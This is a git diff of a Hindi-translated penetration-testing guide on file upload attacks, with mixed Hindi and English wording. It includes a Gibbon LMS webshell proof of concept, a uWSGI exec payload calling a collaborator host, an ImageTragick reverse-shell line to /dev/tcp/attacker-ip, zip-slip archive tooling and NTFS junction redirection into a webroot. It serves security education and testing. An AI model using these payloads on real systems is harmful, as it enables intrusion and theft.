`$JETTY_BASE/webapps/` में अपलोड करें और shell की उम्मीद रखें! ![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>) ## **uWSGI RCE** -इस vulnerability की विस्तृत जांच के लिए मूल रिसर्च देखें: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html). +इस vulnerability की विस्तृत पड़ताल के लिए मूल रिसर्च देखें: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html). -Remote Command Execution (RCE) vulnerabilities को uWSGI servers में तब एक्सप्लॉइट किया जा सकता है जब किसी को `.ini` configuration file को modify करने की क्षमता हो। uWSGI configuration files एक विशिष्ट syntax का उपयोग करते हैं जिसमें "magic" variables, placeholders, और operators शामिल होते हैं। विशेष रूप से, '@' operator, जिसका उपयोग `@(filename)` के रूप में होता है, किसी फाइल की सामग्री को include करने के लिए डिज़ाइन किया गया है। uWSGI में समर्थित विभिन्न schemes में से, "exec" scheme विशेष रूप से शक्तिशाली है, जो किसी process के standard output से डेटा पढ़ने की अनुमति देता है। यह फीचर तब दुरुपयोग किया जा सकता है जब किसी `.ini` configuration file को प्रोसेस किया जाए, जिससे Remote Command Execution या Arbitrary File Write/Read जैसे परिणाम सामने आ सकते हैं। +Remote Command Execution (RCE) vulnerabilities उन uWSGI servers में exploit की जा सकती हैं यदि किसी के पास `.ini` configuration file modify करने की क्षमता हो। uWSGI configuration files एक विशेष syntax का उपयोग करते हैं जो "magic" variables, placeholders, और operators को शामिल करते हैं। विशेष रूप से, '@' operator, जिसे `@(filename)` के रूप में उपयोग किया जाता है, किसी फ़ाइल की सामग्री को include करने के लिए design किया गया है। uWSGI में समर्थित विभिन्न schemes के बीच, "exec" scheme विशेष रूप से शक्तिशाली है, जो किसी process के standard output से data पढ़ने की अनुमति देता है। इस फीचर का दुरुपयोग Remote Command Execution या Arbitrary File Write/Read के लिए किया जा सकता है जब कोई `.ini` configuration file process की जाती है। -निम्नलिखित खतरनाक `uwsgi.ini` फ़ाइल के उदाहरण पर विचार करें, जो विभिन्न schemes दिखाती है: +नीचे एक हानिकारक `uwsgi.ini` फ़ाइल का उदाहरण देखें, जो विभिन्न schemes दिखाती है: ```ini [uwsgi] ; read from a symbol @@ -156,18 +156,18 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com) ; call a function returning a char * characters = @(call://uwsgi_func) ``` -पेलोड का execution configuration file के parsing के दौरान होता है। Configuration को activate और parse होने के लिए, uWSGI process को या तो restart करना होगा (संभवतः crash के बाद या Denial of Service attack के कारण) या file को auto-reload पर सेट होना चाहिए। अगर auto-reload feature enabled है, तो changes detect होने पर यह निर्धारित intervals पर file को reload कर देता है। +The execution of the payload occurs during the parsing of the configuration file. For the configuration to be activated and parsed, the uWSGI process must either be restarted (potentially after a crash or due to a Denial of Service attack) or the file must be set to auto-reload. The auto-reload feature, if enabled, reloads the file at specified intervals upon detecting changes. -यह समझना महत्वपूर्ण है कि uWSGI के configuration file parsing में lax व्यवहार है। विशेष रूप से, यहाँ चर्चा किए गए पेलोड को किसी binary file (जैसे image या PDF) में insert किया जा सकता है, जिससे संभावित exploitation की सीमा और बढ़ जाती है। +यह समझना महत्वपूर्ण है कि uWSGI के configuration file के parsing की प्रकृति काफी ढीली है। विशेष रूप से, चर्चा किए गए payload को एक binary file (जैसे image या PDF) में सम्मिलित किया जा सकता है, जिससे संभावित exploitation का दायरा और बढ़ जाता है। ### Gibbon LMS arbitrary file write to pre-auth RCE (CVE-2023-45878) -Gibbon LMS में एक unauthenticated endpoint web root के अंदर arbitrary file write की अनुमति देता है, जिससे PHP file डालकर pre-auth RCE हो सकता है। Vulnerable versions: up to and including 25.0.01. +Gibbon LMS में एक unauthenticated endpoint web root के अंदर arbitrary file write की अनुमति देता है, जिससे PHP फ़ाइल डालकर pre-auth RCE संभव हो जाता है। प्रभावित संस्करण: 25.0.01 तक (समेत)। - Endpoint: `/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php` - Method: POST - Required params: -- `img`: data-URI-like string: `[mime];[name],[base64]` (server type/name को ignore करता है, tail को base64-decode करता है) +- `img`: data-URI-like string: `[mime];[name],[base64]` (server ignores type/name, base64-decodes the tail) - `path`: destination filename relative to Gibbon install dir (e.g., `poc.php` or `0xdf.php`) - `gibbonPersonID`: any non-empty value is accepted (e.g., `0000000001`) @@ -184,7 +184,7 @@ curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \ # Verify write curl http://target/Gibbon-LMS/poc.php ``` -एक न्यूनतम webshell डालें और कमांड्स निष्पादित करें: +एक न्यूनतम webshell डालकर commands निष्पादित करें: ```bash # '' base64 # PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg== @@ -195,15 +195,15 @@ curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \ curl 'http://target/Gibbon-LMS/shell.php?cmd=whoami' ``` नोट्स: -- हैंडलर `;` और `,` द्वारा split करने के बाद `base64_decode($_POST["img"])` चलाता है, फिर extension/type सत्यापित किए बिना बाइट्स को `$absolutePath . '/' . $_POST['path']` पर लिखता है। -- परिणामी कोड वेब सर्विस उपयोगकर्ता के रूप में चलता है (उदा., XAMPP Apache on Windows). +- हैंडलर `;` और `,` से विभाजन करने के बाद `base64_decode($_POST["img"])` اجرا करता है, फिर एक्सटेंशन/टाइप की जाँच किए बिना बाइट्स को `$absolutePath . '/' . $_POST['path']` में लिखता है। +- परिणामी कोड वेब सर्विस यूज़र के रूप में चलता है (उदा., XAMPP Apache on Windows). -इस बग के संदर्भ में usd HeroLab advisory और NVD entry शामिल हैं। नीचे References सेक्शन देखें। +इस बग के संदर्भों में usd HeroLab advisory और NVD entry शामिल हैं। नीचे References सेक्शन देखें। ## **wget File Upload/SSRF Trick** -कुछ मामलों में आप पाएंगे कि सर्वर **`wget`** का उपयोग **फ़ाइलें डाउनलोड करने** के लिए कर रहा है और आप **URL** बता सकते हैं। ऐसे मामलों में, कोड यह जाँच कर सकता है कि डाउनलोड की गई फ़ाइलों का extension whitelist के अंदर है ताकि केवल अनुमत फाइलें ही डाउनलोड हों। हालांकि, **इस जाँच को बायपास किया जा सकता है।**\ -**linux** में एक **filename** की **maximum** लंबाई **255** है, हालांकि, **wget** फाइलनामों को **236** characters तक truncate कर देता है। आप **download a file called "A"*232+".php"+".gif"** कर सकते हैं — यह filename **check** को **bypass** कर देगा (इस उदाहरण में **".gif"** एक **valid** extension है) लेकिन `wget` फ़ाइल का नाम बदलकर **"A"*232+".php"** कर देगा। +कुछ मामलों में आप देख सकते हैं कि सर्वर **`wget`** का उपयोग करके **download files** कर रहा है और आप **URL** निर्दिष्ट कर सकते हैं। ऐसे मामलों में, कोड यह जाँच कर सकता है कि डाउनलोड की गई फ़ाइलों का extension whitelist में है ताकि केवल अनुमत फाइलें ही डाउनलोड हों। हालांकि, **this check can be bypassed.**\ +लिनक्स में किसी **filename** की अधिकतम लंबाई **255** है, हालांकि **wget** फ़ाइलनामों को **236** कैरेक्टर तक truncate कर देता है। आप **download a file called "A"*232+".php"+".gif"**, यह फ़ाइलनाम **bypass** कर देगा **check** को (इस उदाहरण में **".gif"** एक **valid** extension है) पर `wget` उस फ़ाइल का नाम बदलकर **"A"*232+".php"** कर देगा। ```bash #Create file and HTTP server echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")') @@ -226,17 +226,42 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[============================================= 2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10] ``` -Note that **another option** you may be thinking of to bypass this check is to make the **HTTP server redirect to a different file**, so the initial URL will bypass the check by then wget will download the redirected file with the new name. This **won't work** **unless** wget is being used with the **parameter** `--trust-server-names` because **wget will download the redirected page with the name of the file indicated in the original URL**. +Note that **एक और विकल्प** आप सोच रहे होंगे इस जांच को बायपास करने के लिए वह है कि **HTTP server redirect to a different file**, ताकि initial URL जांच को बायपास कर ले और फिर wget redirected file को नए नाम के साथ डाउनलोड कर ले। यह **काम नहीं करेगा** **जबतक** wget `--trust-server-names` **parameter** के साथ उपयोग नहीं किया जा रहा है क्योंकि **wget redirected page को original URL में दिखाए गए फ़ाइल के नाम के साथ ही डाउनलोड करेगा**। -## Tools +### NTFS junctions (Windows) के जरिए अपलोड निर्देशिका से बाहर निकलना -- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) is a powerful tool designed to assist Pentesters and Bug Hunters in testing file upload mechanisms. It leverages various bug bounty techniques to simplify the process of identifying and exploiting vulnerabilities, ensuring thorough assessments of web applications. +(इस attack के लिए आपको Windows मशीन पर local access चाहिए होगा) जब uploads Windows में per-user subfolders के तहत स्टोर होते हैं (e.g., C:\Windows\Tasks\Uploads\\) और आप उस subfolder के creation/deletion को नियंत्रित करते हैं, तो आप इसे एक directory junction से बदल सकते हैं जो किसी sensitive location (e.g., the webroot) की ओर पॉइंट करे। बाद की uploads target path में लिखी जाएंगी, जिससे code execution संभव हो जाएगा अगर target server‑side code को interpret करता है। + +Example flow to redirect uploads into XAMPP webroot: +```cmd +:: 1) Upload once to learn/confirm your per-user folder name (e.g., md5 of form fields) +:: Observe it on disk: C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882 + +:: 2) Remove the created folder and create a junction to webroot +rmdir C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882 +cmd /c mklink /J C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882 C:\xampp\htdocs + +:: 3) Re-upload your payload; it lands under C:\xampp\htdocs +:: Minimal PHP webshell for testing +:: + +:: 4) Trigger +curl "http://TARGET/shell.php?cmd=whoami" +``` +नोट्स +- mklink /J NTFS directory junction (reparse point) बनाता है। वेब सर्वर का अकाउंट junction को follow कर सके और destination में write permission होना चाहिए। +- यह arbitrary file writes को redirect करता है; यदि destination scripts (PHP/ASP) execute करता है, तो यह RCE बन सकता है। +- Defenses: writable upload roots को attacker‑controllable होने न दें खासकर C:\Windows\Tasks या समान स्थानों में; junction creation को block करें; extensions को server‑side validate करें; uploads को अलग volume पर रखें या deny‑execute ACLs लगाएँ। + +## टूल्स + +- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) एक शक्तिशाली tool है जो Pentesters और Bug Hunters को file upload mechanisms की टेस्टिंग में मदद करता है। यह विभिन्न bug bounty techniques का उपयोग करके web applications की vulnerabilities पहचानने और exploit करने की प्रक्रिया को सरल बनाता है। ### Corrupting upload indices with snprintf quirks (historical) -कुछ legacy upload handlers जो `snprintf()` या इसी तरह के functions का उपयोग single-file upload से multi-file arrays बनाने के लिए करते हैं, उन्हें `_FILES` structure कोforge करने के लिए trick किया जा सकता है। `snprintf()` के व्यवहार में inconsistencies और truncation के कारण, ध्यानपूर्वक बनाया गया एक single upload सर्वर साइड पर multiple indexed files के रूप में दिखाई दे सकता है, जिससे उस logic में confusion पैदा हो सकती है जो एक strict shape मानती है (उदाहरण के लिए, इसे multi-file upload समझ कर unsafe branches पर जाना)। आज के समय में यह पैटर्न niche है, लेकिन यह “index corruption” pattern कभी-कभार CTFs और पुराने codebases में फिर से उभरता है। +कुछ legacy upload handlers जो `snprintf()` या समान functions का उपयोग करके single-file upload से multi-file arrays बनाते हैं, उन्हें `_FILES` structureforge करने के लिए trick किया जा सकता है। `snprintf()` के inconsistent behavior और truncation के कारण, सावधानीपूर्वक-crafted single upload सर्वर साइड पर multiple indexed files जैसा दिख सकता है, जिससे logic जो strict shape मानता है (उदा., इसे multi-file upload समझकर unsafe branches लेना) भ्रमित हो सकती है। आज यह पैटर्न niche है, पर CTFs और पुराने codebases में कभी-कभी यह फिर उभरता है। -## From File upload to other vulnerabilities +## File upload से अन्य कमजोरियाँ - Set **filename** to `../../../tmp/lol.png` and try to achieve a **path traversal** - Set **filename** to `sleep(10)-- -.jpg` and you may be able to achieve a **SQL injection** @@ -248,13 +273,13 @@ Note that **another option** you may be thinking of to bypass this check is to m - [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files) - Try **different svg payloads** from [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) - [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/) -- If you can **indicate the web server to catch an image from a URL** you could try to abuse a [SSRF](../ssrf-server-side-request-forgery/index.html). If this **image** is going to be **saved** in some **public** site, you could also indicate a URL from [https://iplogger.org/invisible/](https://iplogger.org/invisible/) and **steal information of every visitor**. +- अगर आप वेब सर्वर को किसी URL से image fetch करने के लिए कह सकते हैं तो आप एक SSRF का दुर्व्यवहार आज़मा सकते हैं। अगर यह image किसी public site पर saved होने वाली है, तो आप [https://iplogger.org/invisible/](https://iplogger.org/invisible/) जैसा URL भी इंगित कर सकते हैं और हर visitor की जानकारी चोरी कर सकते हैं। - [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md) -- Specially crafted PDFs to XSS: The [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). If you can upload PDFs you could prepare some PDF that will execute arbitrary JS following the given indications. +- विशेष रूप से crafted PDFs से XSS: [नीचे पृष्ठ बताता है कि कैसे **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md)। अगर आप PDFs upload कर सकते हैं तो आप ऐसा PDF तैयार कर सकते हैं जो दिए गए निर्देशों के अनुसार arbitrary JS execute कराए। - Upload the \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content to check if the server has any **antivirus** - Check if there is any **size limit** uploading files -Here’s a top 10 list of things that you can achieve by uploading (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)): +यहाँ एक top 10 सूची है जो आप upload करके हासिल कर सकते हैं (source: [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)): 1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE 2. **SVG**: Stored XSS / SSRF / XXE @@ -274,39 +299,39 @@ Here’s a top 10 list of things that you can achieve by uploading (from [here]( https://github.com/portswigger/upload-scanner {{#endref}} -## Magic Header Bytes +## मैजिक हैडर बाइट्स - **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["` - **JPG**: `"\xff\xd8\xff"` -Refer to [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) for other filetypes. +अन्य filetypes के लिए देखें: [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) ## Zip/Tar File Automatically decompressed Upload -If you can upload a ZIP that is going to be decompressed inside the server, you can do 2 things: +अगर आप ऐसा ZIP upload कर सकते हैं जिसे server के अंदर decompress किया जाएगा, तो आप दो चीजें कर सकते हैं: ### Symlink -Upload a link containing soft links to other files, then, accessing the decompressed files you will access the linked files: +एक link upload करें जिसमें अन्य files के soft links हों, फिर decompressed files को access करके आप linked files को access कर पाएँगे: ``` ln -s ../../../index.php symindex.txt zip --symlinks test.zip symindex.txt tar -cvf test.tar symindex.txt ``` -### Decompress in different folders +### अलग फ़ोल्डरों में डीकम्प्रेस -विसंपीड़न के दौरान निर्देशिकाओं में फाइलों का अनपेक्षित निर्माण एक महत्वपूर्ण समस्या है। शुरुआती धारणा के बावजूद कि यह सेटअप malicious file uploads के जरिए OS-level command execution से सुरक्षा प्रदान कर सकता है, hierarchical compression support और ZIP archive format की directory traversal क्षमताओं का दुरुपयोग किया जा सकता है। इससे हमलावर प्रतिबंधों को बायपास करके लक्षित एप्लिकेशन की decompression functionality को manipulate करके secure upload directories से बाहर निकल सकते हैं। +Decompression के दौरान डायरेक्टरी में अनपेक्षित फ़ाइलों का बनना एक गंभीर समस्या है। शुरुआती अनुमान के बावजूद कि यह सेटअप malicious file uploads के जरिए OS-level command execution से बचाव करेगा, ZIP archive format की hierarchical compression support और directory traversal क्षमताओं का दुरुपयोग किया जा सकता है। इससे attackers प्रतिबंधों को बायपास कर secure upload directories से निकल सकते हैं, बस target application की decompression functionality को manipulate करके। -An automated exploit to craft such files is available at [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). The utility can be used as shown: +An automated exploit इन फ़ाइलों को बनाने के लिए [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc) पर उपलब्ध है। इस utility का उपयोग इस तरह किया जा सकता है: ```python # Listing available options python2 evilarc.py -h # Creating a malicious archive python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php ``` -इसके अतिरिक्त, **symlink trick with evilarc** एक विकल्प है। यदि लक्ष्य `/flag.txt` जैसी किसी फ़ाइल को निशाना बनाना है, तो उस फ़ाइल के लिए अपने सिस्टम में एक symlink बनाना चाहिए। यह सुनिश्चित करता है कि evilarc को अपने संचालन के दौरान त्रुटियाँ न हों। +इसके अतिरिक्त, **symlink trick with evilarc** एक विकल्प है। यदि उद्देश्य `/flag.txt` जैसी किसी फ़ाइल को लक्षित करना है, तो आपके सिस्टम में उस फ़ाइल के लिए एक symlink बनाया जाना चाहिए। यह सुनिश्चित करता है कि evilarc अपने संचालन के दौरान त्रुटियों का सामना न करे। -नीचे Python कोड का एक उदाहरण है जो एक हानिकारक zip फ़ाइल बनाने के लिए उपयोग किया जाता है: +नीचे एक उदाहरण Python कोड दिया गया है जो एक दुष्ट zip फ़ाइल बनाने के लिए उपयोग किया गया है: ```python #!/usr/bin/python import zipfile @@ -325,11 +350,11 @@ zip.close() create_zip() ``` -**Abusing compression for file spraying** +**कम्प्रेशन का दुरुपयोग करके file spraying** -अधिक जानकारी के लिए **मूल पोस्ट देखें**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/) +अधिक विवरण के लिए **मूल पोस्ट देखें**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/) -1. **Creating a PHP Shell**: PHP code लिखा जाता है ताकि `$_REQUEST` वेरिएबल के माध्यम से पास किए गए कमांड्स को execute किया जा सके। +1. **PHP Shell बनाना**: PHP कोड लिखा गया है जो `$_REQUEST` वैरिएबल के द्वारा भेजे गए commands को execute करता है। ```php ``` -2. **File Spraying and Compressed File Creation**: कई फाइलें बनाई जाती हैं और इन फ़ाइलों को शामिल करके एक zip archive बनाया जाता है। +2. **File Spraying और कम्प्रेस्ड फाइल बनाना**: कई फाइलें बनाई जाती हैं और इन फाइलों को शामिल करते हुए एक zip आर्काइव तैयार किया जाता है। ```bash root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done root@s2crew:/tmp# zip cmd.zip xx*.php ``` -3. **Modification with a Hex Editor or vi**: zip के अंदर की फाइलों के नाम vi या hex editor का उपयोग कर बदल दिए जाते हैं, "xxA" को "../" में बदलकर डायरेक्टरी traversal किया जाता है। +3. **Hex Editor या vi के साथ संशोधन**: zip के अंदर फाइलों के नाम vi या hex editor का उपयोग करके बदले जाते हैं, "xxA" को "../" में बदलकर directory traversal किया जाता है। ```bash :set modifiable @@ -356,38 +381,38 @@ root@s2crew:/tmp# zip cmd.zip xx*.php ## ImageTragic -इस सामग्री को image extension के साथ upload करें ताकि इस vulnerability का exploit किया जा सके **(ImageMagick , 7.0.1-1)** (from the [exploit](https://www.exploit-db.com/exploits/39767)) +इस कंटेंट को image extension के साथ अपलोड करके यह vulnerability exploit करें **(ImageMagick , 7.0.1-1)** (देखें: [exploit](https://www.exploit-db.com/exploits/39767)) ``` push graphic-context viewbox 0 0 640 480 fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)' pop graphic-context ``` -## PNG पर PHP Shell एम्बेड करना +## Embedding PHP Shell on PNG -PNG फ़ाइल के IDAT chunk में PHP shell एम्बेड करने से कुछ image processing operations को प्रभावी ढंग से बायपास किया जा सकता है। PHP-GD की `imagecopyresized` और `imagecopyresampled` फ़ंक्शन इस संदर्भ में विशेष रूप से प्रासंगिक हैं, क्योंकि इन्हें आमतौर पर images को resizing और resampling के लिए उपयोग किया जाता है। एम्बेड किया गया PHP shell इन ऑपरेशनों से अप्रभावित रहने की क्षमता कुछ उपयोग मामलों के लिए एक महत्वपूर्ण लाभ है। +PNG फ़ाइल के IDAT chunk में एक PHP shell एम्बेड करने से कुछ image processing ऑपरेशनों को प्रभावी रूप से बायपास किया जा सकता है। PHP-GD के फ़ंक्शन्स `imagecopyresized` और `imagecopyresampled` इस संदर्भ में विशेष रूप से प्रासंगिक हैं, क्योंकि इन्हें आम तौर पर इमेज को रीसाइज़ और रीसैंपल करने के लिए उपयोग किया जाता है। एम्बेडेड PHP shell का इन ऑपरेशनों से अप्रभावित रहना कुछ उपयोग मामलों के लिए एक महत्वपूर्ण लाभ है। -इस तकनीक का विस्तृत अन्वेषण, उसकी कार्यप्रणाली और संभावित उपयोगों सहित, निम्न लेख में दिया गया है: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). यह संसाधन इस प्रक्रिया और इसके प्रभावों की व्यापक समझ प्रदान करता है। +A detailed exploration of this technique, including its methodology and potential applications, is provided in the following article: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). This resource offers a comprehensive understanding of the process and its implications. -अधिक जानकारी: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) +More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) -## Polyglot फ़ाइलें +## Polyglot Files -Polyglot फ़ाइलें साइबरसुरक्षा में एक अनूठा साधन हैं, जो चेमेलियन की तरह काम करती हैं और एक साथ कई फ़ाइल फ़ॉर्मैट्स में वैध रूप से मौजूद रह सकती हैं। एक रोचक उदाहरण [GIFAR](https://en.wikipedia.org/wiki/Gifar) है, जो एक हाइब्रिड है और एक साथ GIF और RAR archive की तरह काम करता है। ये फ़ाइलें केवल इसी जोड़ी तक सीमित नहीं हैं; GIF और JS या PPT और JS जैसी संयोजन भी संभव हैं। +Polyglot files साइबर सुरक्षा में एक अनूठा उपकरण हैं, जो कैमेलियन की तरह काम करते हैं और एक साथ कई file formats में वैध रूप से मौजूद हो सकते हैं। एक रोचक उदाहरण है एक [GIFAR](https://en.wikipedia.org/wiki/Gifar), जो एक हाइब्रिड है और एक ही समय में GIF और RAR archive के रूप में कार्य करता है। ऐसे फ़ाइलें केवल इस जोड़ी तक सीमित नहीं हैं; GIF और JS या PPT और JS जैसी संयोजन भी संभव हैं। -Polyglot फ़ाइलों की मुख्य उपयोगिता यह है कि वे उन सुरक्षा उपायों को बायपास कर सकती हैं जो फ़ाइल प्रकार के आधार पर फ़ाइलों की स्क्रीनिंग करते हैं। कई एप्लिकेशन में केवल कुछ फ़ाइल प्रकारों (जैसे JPEG, GIF, या DOC) को upload करने की अनुमति दी जाती है ताकि संभावित हानिकारक फ़ॉर्मैट्स (जैसे JS, PHP, या Phar files) के जोखिम को कम किया जा सके। हालांकि, एक polyglot, कई फ़ाइल प्रकारों की संरचनात्मक आवश्यकताओं के अनुरूप होकर, इन प्रतिबंधों को चुपके से बायपास कर सकता है। +Polyglot files की मुख्य उपयोगिता उन सुरक्षा उपायों को बायपास करने की क्षमता में निहित है जो फ़ाइलों को प्रकार के आधार पर स्क्रिन करते हैं। विभिन्न applications में सामान्य प्रथा केवल कुछ file types को upload की अनुमति देना है—जैसे JPEG, GIF, या DOC—ताकि संभावित हानिकारक फ़ॉर्मैट्स (उदा., JS, PHP, या Phar फ़ाइलें) से जोख़िम कम हो सके। हालांकि, एक polyglot, कई file types की संरचनात्मक आवश्यकताओं का पालन करके, इन सीमाओं को चुपके से बायपास कर सकता है। -फिर भी, polyglots को सीमाएँ मिलती हैं। उदाहरण के लिए, जबकि एक polyglot एक साथ PHAR file (PHp ARchive) और JPEG दोनों का रूप धारण कर सकता है, उसकी upload की सफलता प्लेटफ़ॉर्म की file extension नीतियों पर निर्भर कर सकती है। यदि सिस्टम अनुमत एक्सटेंशन के प्रति सख्त है, तो polyglot की केवल संरचनात्मक द्वैतता उसके अपलोड की गारंटी देने के लिए पर्याप्त नहीं हो सकती। +उनकी अनुकूलता के बावजूद, polyglots को सीमाओं का सामना भी करना पड़ता है। उदाहरण के लिए, जबकि एक polyglot एक ही समय में PHAR file (PHp ARchive) और JPEG दोनों का रूप ले सकता है, उसकी upload की सफलता प्लेटफ़ॉर्म की file extension नीतियों पर निर्भर हो सकती है। यदि सिस्टम अनुमत एक्सटेंशनों के प्रति कड़ा है, तो polyglot की केवल संरचनात्मक द्वैतता उसके upload की गारंटी देने के लिए पर्याप्त नहीं हो सकती। -अधिक जानकारी: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) +More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) -### यदि PDF जैसा बनाकर वैध JSON अपलोड करना +### Upload valid JSONs like if it was PDF -कैसे फाइल टाइप डिटेक्शन से बचें: वैध JSON फ़ाइल अपलोड करके, भले ही अनुमति न हो, उसे PDF फ़ाइल बनाकर फेक करके (तकनीकें **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)** से): +How to avoid file type detections by uploading a valid JSON file even if not allowed by faking a PDF file (techniques from **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**): -- **`mmmagic` library**: यदि `%PDF` magic bytes पहले 1024 bytes में हैं तो इसे वैध माना जाता है (उदाहरण के लिए पोस्ट देखें) -- **`pdflib` library**: JSON के एक field के अंदर एक फेक PDF format डालें ताकि library इसे pdf समझ ले (उदाहरण के लिए पोस्ट देखें) -- **`file` binary**: यह एक फ़ाइल से 1048576 bytes तक पढ़ सकता है। बस JSON को इससे बड़ा बना दें ताकि यह सामग्री को json के रूप में पार्स न कर सके और फिर JSON के अंदर असली PDF का प्रारंभिक हिस्सा डाल दें और यह इसे PDF समझ लेगा +- **`mmmagic` library**: जब तक `%PDF` magic bytes पहले 1024 bytes में मौजूद हैं यह वैध माना जाता है (पोस्ट से उदाहरण देखें) +- **`pdflib` library**: JSON के अंदर एक फेक PDF format जोड़ें ताकि library इसे pdf समझे (पोस्ट से उदाहरण देखें) +- **`file` binary**: यह एक फ़ाइल से 1048576 bytes तक पढ़ सकता है। बस एक JSON बनाएं जो इससे बड़ा हो ताकि यह सामग्री को json के रूप में पार्स न कर सके और फिर JSON के अंदर असली PDF का आरंभिक हिस्सा डाल दें, और यह उसे PDF समझ लेगा ## References @@ -405,5 +430,7 @@ Polyglot फ़ाइलों की मुख्य उपयोगिता - [CVE-2024-21546 – NVD entry](https://nvd.nist.gov/vuln/detail/CVE-2024-21546) - [PoC gist for LFM .php. bypass](https://gist.github.com/ImHades101/338a06816ef97262ba632af9c78b78ca) - [0xdf – HTB Environment (UniSharp LFM upload → PHP RCE)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html) +- [HTB: Media — WMP NTLM leak → NTFS junction to webroot RCE → FullPowers + GodPotato to SYSTEM](https://0xdf.gitlab.io/2025/09/04/htb-media.html) +- [Microsoft – mklink (command reference)](https://learn.microsoft.com/windows-server/administration/windows-commands/mklink) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/ntlm/places-to-steal-ntlm-creds.md b/src/windows-hardening/ntlm/places-to-steal-ntlm-creds.md index 1b311a896..d52a20e61 100644 --- a/src/windows-hardening/ntlm/places-to-steal-ntlm-creds.md +++ b/src/windows-hardening/ntlm/places-to-steal-ntlm-creds.md @@ -1,7 +1,65 @@ -# NTLM क्रेड्स चुराने के स्थान +# NTLM creds चुराने के स्थान {{#include ../../banners/hacktricks-training.md}} -**[https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/](https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/) से माइक्रोसॉफ्ट वर्ड फ़ाइल ऑनलाइन डाउनलोड करने से लेकर NTLM लीक स्रोत: https://github.com/soufianetahiri/TeamsNTLMLeak/blob/main/README.md और [https://github.com/p0dalirius/windows-coerced-authentication-methods](https://github.com/p0dalirius/windows-coerced-authentication-methods) तक सभी बेहतरीन विचारों की जांच करें।** +**इन बेहतरीन विचारों को देखें: [https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/](https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/) — ऑनलाइन एक microsoft word file डाउनलोड करने से लेकर ntlm leaks source: https://github.com/soufianetahiri/TeamsNTLMLeak/blob/main/README.md और 